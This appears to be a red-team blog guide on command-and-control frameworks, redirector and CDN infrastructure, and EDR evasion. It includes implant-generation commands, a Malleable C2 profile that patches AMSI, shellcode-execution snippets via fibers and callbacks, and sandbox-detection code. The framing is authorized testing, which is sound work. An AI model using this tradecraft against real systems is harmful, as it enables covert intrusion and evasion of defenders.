Modern C2 Usage: Frameworks, Tradecraft, and Infrastructure
A practical overview of modern command and control frameworks, infrastructure design, and operational tradecraft for red team engagements.
Command and control (C2) design tends to fail in the boring places: an exposed team server, a profile that does not match the listener, or infrastructure that nobody can replace quickly. The framework matters, but it is only one part of the system.
These are the frameworks, infrastructure patterns, and execution techniques I consider when building an authorized red team lab. This is a broad overview; several of these topics deserve their own deeper treatment.
Choosing a C2 framework
The C2 space changes quickly. This comparison reflects the projects and public documentation available in August 2026, so verify release notes and built-in command help before using any example.
Cobalt Strike
Cobalt Strike remains the commercial standard I see most often in red team work. Malleable C2 profiles give operators detailed control over traffic signatures, and Beacon has a mature supporting ecosystem.
# Spin up team server
./teamserver 10.10.10.1 password /path/to/malleable.profile
# Generate shellcode
> Payloads -> Windows Executable (Stageless) -> Output: Raw
Pros:
- Mature ecosystem with extensive BOF (Beacon Object File) library
- Malleable C2 profiles give granular control over traffic signatures
- Artifact kit and resource kit allow deep customization of payload generation
- Widespread training material and community knowledge
Cons:
- Expensive commercial license
- Heavily signatured by EDR/AV vendors - requires significant customization out of the box
- Cracked versions are widely used by actual threat actors, increasing defender focus on Cobalt Strike indicators
Havoc
Havoc is a newer open-source option with a modern operator interface. Its Demon agent includes sleep obfuscation, indirect syscalls, and return-address stack spoofing.
# Build Havoc Server & Client
make
# Build Server Only
make ts-build
# Build Client Only
make client-build
# Start Server
./havoc server --profile ./profiles/havoc.yaotl --debug
# Connect with the client
./havoc client
Pros:
- Modern evasion techniques baked in (sleep obfuscation, indirect syscalls, stack spoofing)
- Active community and ongoing development
- Free and open-source - no licensing cost
- Clean, modern Qt-based client UI
Cons:
- Smaller plugin/extension ecosystem compared to Cobalt Strike
- Documentation can lag behind development
- Fewer resources and public knowledge base
Mythic
Mythic uses a web interface and a modular plugin architecture. Its agents include Poseidon for macOS and Linux, Apollo for Windows, and other community-developed options.
# Install Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
# Start Mythic
sudo ./mythic-cli start
Pros:
- Clean web UI with real-time operator collaboration
- Modular agent/profile architecture - swap agents and C2 profiles independently
- Excellent logging, reporting, and MITRE ATT&CK mapping built in
- Growing library of community-developed agents including MacOS options
Cons:
- Heavier resource footprint - requires Docker and more setup overhead
- Agent quality varies across community contributions
- Steeper learning curve due to the modular architecture
Sliver
One of the most established open-source alternatives. Sliver uses Go for its cross-platform implants and supports multiplayer operation and several C2 transports.
# Start the Sliver server
sliver-server
# Generate an implant
sliver > generate --mtls 10.10.10.1 --os windows --arch amd64 --format exe --save /tmp/implant.exe
# Or generate a stager
sliver > generate stager --lhost 10.10.10.1 --lport 8443 --protocol tcp
Pros:
- Free and open-source with active development and community support
- Built-in support for multiple C2 protocols (mTLS, WireGuard, DNS, HTTP/S)
- Cross-platform implants written in Go - compile for Windows, macOS, and Linux from a single codebase
- Multiplayer mode, BOF support, and Cursed browser/Electron post-exploitation tooling
Cons:
- No GUI - CLI-only interface can be less user friendly for some operators
- Go binaries are larger and can stand out compared to native implants
- Fewer built-in post-exploitation capabilities compared to Cobalt Strike
- Less granular traffic customization - no equivalent to Malleable C2 profiles
- Implant signatures are increasingly tracked by EDR vendors as adoption grows
Infrastructure design
I treat the framework and its supporting infrastructure as one system. A single internet-facing server creates an unnecessary point of failure and makes containment simple for a defender.
Server hosting
I typically use cloud compute instances for C2 servers. I restrict operator ports to known operator IP addresses and listener ports to the redirector or CDN origin-pull addresses. The team server itself should not be open to the internet.
# Example: AWS Security Group rules (via CLI)
# Allow only your operator IP to access the C2 client
aws ec2 authorize-security-group-ingress \
--group-id sg-xxxx \
--protocol tcp --port 50050 \
--cidr YOUR_OPERATOR_IP/32
# Allow only the CDN/redirector to reach the HTTPS listener
aws ec2 authorize-security-group-ingress \
--group-id sg-xxxx \
--protocol tcp --port 443 \
--cidr CDN_IP_RANGE/24
# Block everything else - default deny
Cloud instances are easy to replace when the deployment is automated. For repeatable builds, I use Terraform with Python wrapper scripts to handle deployment and teardown.
Redirectors
I put a redirector or CDN in front of the team server and allow only that layer to reach the listener. If a redirector is blocked or disclosed during an engagement, I can replace it without rebuilding the team server.
# Simple socat redirector
socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER_IP:443
# Apache mod_rewrite redirector (in .htaccess)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0.*" [NC]
RewriteCond %{REQUEST_URI} ^/updates/check$ [NC]
RewriteRule ^.*$ https://TEAMSERVER:443%{REQUEST_URI} [P,L]
# Default - redirect to a legitimate site
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
Many CDN providers can inspect headers, user agents, and URI paths before forwarding a request to the origin.
That makes it possible to apply the same kind of filtering at the CDN edge that the Apache example applies with mod_rewrite.
# CDN edge rule example (similar logic to mod_rewrite)
# Match: User-Agent contains expected beacon string AND URI matches callback path
# Action: Forward to origin (C2 team server)
# Default: Return 302 redirect to legitimate site
Layered architecture
I separate the infrastructure by purpose:
- Long-haul C2 uses low-frequency callbacks for durable access, commonly through an owned redirector or CDN configuration.
- Short-haul C2 supports interactive work with a higher callback frequency and separate infrastructure.
- Post-exploitation channels carry lateral movement tooling without sharing the primary C2 path.
Target -> CDN/Redirector -> Long-haul C2 Server
Target -> CDN/Redirector -> Short-haul C2 Server
Each tier can run on its own compute instance with separate security groups. Losing the short-haul path then does not automatically disclose the long-haul path.
Domains and CDN proxying
Domain choice should fit the approved scenario and the client’s rules of engagement. Age and existing categorization can affect filtering, but neither guarantees access or legitimacy.
- Review domain history, ownership, reputation, and prior content before registration
- Verify categorization on Bluecoat, Palo Alto URL filtering, and McAfee TrustedSource
- Use HTTPS with valid certificates (can be set up through a CDN provider or registrar)
- Match the domain to the approved scenario and pretext
You can place an approved domain behind a CDN and use the CDN as an application-layer redirector.
The client connects to a hostname you control, and the CDN forwards matching requests to the locked-down origin.
The client-side SNI and Host values should match that owned hostname.
# Traffic flow:
Beacon -> HTTPS -> updates.your-domain.example -> CDN -> C2 origin server
# Client-side TLS and HTTP routing agree:
SNI: updates.your-domain.example
Host: updates.your-domain.example
# The CDN uses its configured origin hostname for the backend connection.
Origin: origin.your-domain.example
This is CDN proxying, not domain fronting.
Major providers reject unrelated SNI and Host values, and provider acceptable-use policies still apply to authorized testing infrastructure.
Evasion tradecraft
Evasion is a collection of tradeoffs, not a switch that makes an implant invisible. Each technique below changes the telemetry available to a defender and needs to be tested against the engagement’s detection objectives.
Malleable C2 profiles
With Cobalt Strike, a Malleable C2 profile controls how Beacon traffic looks on the wire. The profile, listener, redirector, and TLS configuration all need to agree; changing a few headers is not enough. Havoc offers similar request and response customization through its Yaotl configuration format.
# Application-like JSON traffic on an operator-controlled hostname
http-get {
set uri "/api/v1/teams/updates";
client {
header "Host" "updates.your-domain.example";
header "Accept" "application/json";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Server" "Microsoft-IIS/10.0";
output {
base64url;
print;
}
}
}
http-post {
set uri "/api/v1/teams/messages";
client {
header "Host" "updates.your-domain.example";
header "Accept" "application/json";
header "Content-Type" "application/json";
id {
base64url;
parameter "sessid";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
header "Server" "Microsoft-IIS/10.0";
output {
base64url;
print;
}
}
}
# Stage block - controls how Beacon loads and behaves in memory
stage {
set sleep_mask "true"; # Enable the configured sleep-mask behavior
set syscall_method "Indirect"; # Select Beacon's indirect system-call method
set obfuscate "true"; # Strip strings from Beacon's heap
set cleanup "true"; # Free reflective loader memory after load
set userwx "false"; # Avoid RWX memory - use RW then RX instead
set smartinject "true"; # Use embedded function pointers for injection
# Keep BeaconGate on communications APIs so it does not replace
# the syscall method for core allocation APIs.
beacon_gate { Comms; }
# Change selected in-memory PE markers; validate with c2lint and testing
set magic_mz_x64 "OOPS";
set magic_pe "EA";
# Strip known-bad strings from Beacon DLL
transform-x64 {
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
strrep "beacon.dll" "";
strrep "ReflectiveLoader" "";
}
}
# Process injection - controls how Beacon injects into remote processes
process-inject {
set allocator "NtMapViewOfSection"; # Avoid VirtualAllocEx
set userwx "false"; # No RWX in target process
set min_alloc "17500"; # Minimum allocation size
set startrwx "false"; # Don't start with RWX permissions
set use_driploading "true"; # Drip-load shellcode in chunks (4.11+)
set dripload_delay "500"; # Delay between drip-load chunks (ms)
}
# Post-exploitation - controls fork & run jobs
post-ex {
set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
set obfuscate "true"; # Obfuscate post-ex DLLs in memory
set smartinject "true"; # Clean injection for post-ex
set amsi_disable "true"; # Patch AMSI in post-ex processes
set pipename "Winsock2\\CatalogChangeListener-###-0";
}
Sleep obfuscation
Endpoint products can inspect process memory for known implant signatures. Sleep obfuscation encrypts or masks implant memory while the implant waits between callbacks, but the transition and surrounding behavior can still be observed.
Techniques include:
- Ekko/Zilean - Timer-based sleep that encrypts the implant’s memory using
RtlCreateTimer - Foliage - APC-based sleep obfuscation using
NtSignalAndWaitForSingleObject - Stack spoofing - Replace or mask selected return-address context during sleep; validate the resulting stack rather than assuming it appears clean
Indirect syscalls
User-mode API hooks are one source of endpoint telemetry.
An indirect syscall resolves a system-service number and transfers control to a syscall instruction inside ntdll.dll instead of executing a syscall stub in operator-allocated memory.
That can avoid a specific user-mode hook path, but kernel callbacks, ETW Threat Intelligence, arguments, surrounding memory activity, and call-stack inconsistencies remain observable.
// Indirect syscall - resolve SSN and jump to ntdll's syscall instruction
SyscallNumber = GetSSN("NtAllocateVirtualMemory");
SyscallAddress = GetSyscallAddr("NtAllocateVirtualMemory");
// Execute the syscall instruction from ntdll's .text section
Execution callbacks
Once shellcode is in memory, it still needs an execution trigger.
The familiar VirtualAlloc -> memcpy -> CreateThread sequence is widely monitored.
Callback-based execution avoids directly creating a new thread, but it remains observable.
- Fibers -
ConvertThreadToFiberplusCreateFiberreuses an existing thread and switches execution contexts in user mode. The containing thread, executable memory, and resulting behavior remain visible. - QueueUserAPC - A queued user APC executes when its target thread enters an alertable wait such as
SleepExorWaitForSingleObjectEx. Early-bird variants queue work before a suspended process resumes, but modern sensors can instrument process creation and APC activity before user-mode hooks are relevant. - Thread Pool -
CreateThreadpoolWaitorTpAllocWorkcan invoke a work-item callback on an existing worker thread. The callback address and surrounding stack still determine whether the execution looks normal. - Vectored Exception Handlers -
AddVectoredExceptionHandlercan register a callback and an intentional exception can transfer control to it. VEH registration, exception telemetry, and executable callback memory are all potential signals. - EnumWindows / EnumChildWindows - Callback-based Windows API functions that accept a function pointer. Pass your shellcode address as the callback, and Windows will invoke it while enumerating windows. Other callback-accepting APIs like
EnumFonts,EnumDisplayMonitors, andCertEnumSystemStorework similarly. - Timers -
CreateTimerQueueTimerorRtlCreateTimer. Schedule shellcode execution as a timer callback. This is the same mechanism used by Ekko/Zilean for sleep obfuscation, but can also serve as an initial execution method.
// Example: Fiber-based execution
// Convert main thread to fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);
// Create a fiber pointing to shellcode
PVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcodeAddr, NULL);
// Switch execution to shellcode fiber
SwitchToFiber(shellFiber);
These callbacks let you test execution without directly calling CreateThread or CreateRemoteThread.
Changing the trigger changes telemetry; it does not remove the allocation, protection, callback-registration, or payload behavior that defenders can correlate.
Anti-analysis
Environment checks can stop an implant when it encounters a likely sandbox or analyst workstation. They can also block legitimate targets, so I treat them as noisy signals rather than proof that a system is under analysis.
- Sandbox checks look for low CPU counts, less than 4 GB of RAM, short uptime, or conspicuous usernames and hostnames.
- Debugger checks include
IsDebuggerPresent,CheckRemoteDebuggerPresent, direct PEB inspection, timing checks, and hardware-breakpoint checks. - Virtualization checks query WMI hardware strings, known VM MAC address prefixes, registry keys, or driver files.
- Process checks look for tools such as
wireshark.exe,procmon.exe,x64dbg.exe,ida64.exe, andollydbg.exe. - Time checks account for short automated-analysis windows, although sandboxes can accelerate sleeps and ordinary systems can have low uptime.
- Interaction checks use recent mouse movement, open windows, browser history, or installed applications as weak evidence that a real user is present.
// Example: Basic environment checks before execution
SYSTEM_INFO si;
GetSystemInfo(&si);
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
// Bail if fewer than 2 cores or less than 4GB RAM
if (si.dwNumberOfProcessors < 2 || ms.ullTotalPhys < (4ULL * 1024 * 1024 * 1024))
return;
// Check uptime - skip if system booted less than 10 minutes ago
if (GetTickCount64() < 600000)
return;
Layering checks can increase the cost of automated analysis, but it also increases false positives and gives defenders a larger behavioral signature. Measure each check against representative user systems before adding it to an implant.
Operational habits
- Keep phishing, C2, and exfiltration infrastructure on separate systems.
- Automate deployment and teardown with tools such as Terraform or Ansible.
- Capture your own traffic so you know what defenders will see.
- Plan domain, IP address, and certificate rotation before the engagement begins.
- Set implant kill dates so an orphaned payload cannot call back indefinitely.
- Keep detailed operator logs for reporting and deconfliction.
What defenders can see
- TLS fingerprints such as JA3/JA3S and the JA4 family, certificate metadata, and protocol behavior can identify known or unusual clients.
- Regular callback intervals create detectable patterns. Jitter reduces simple periodicity but does not eliminate beaconing statistics.
- DNS C2 can produce unusual query patterns, including a high volume of TXT requests to one domain.
- Endpoint products monitor process injection, unusual parent-child relationships, and suspicious API sequences.
What I would keep
A framework cannot compensate for a listener exposed to the internet or infrastructure that cannot be rebuilt under pressure. I start with the smallest design that meets the engagement goals, test the entire path against the agreed detections, and add complexity only when it solves a measured problem. The result should be reliable, attributable to the exercise, recoverable by the operators, and consistent with the rules of engagement.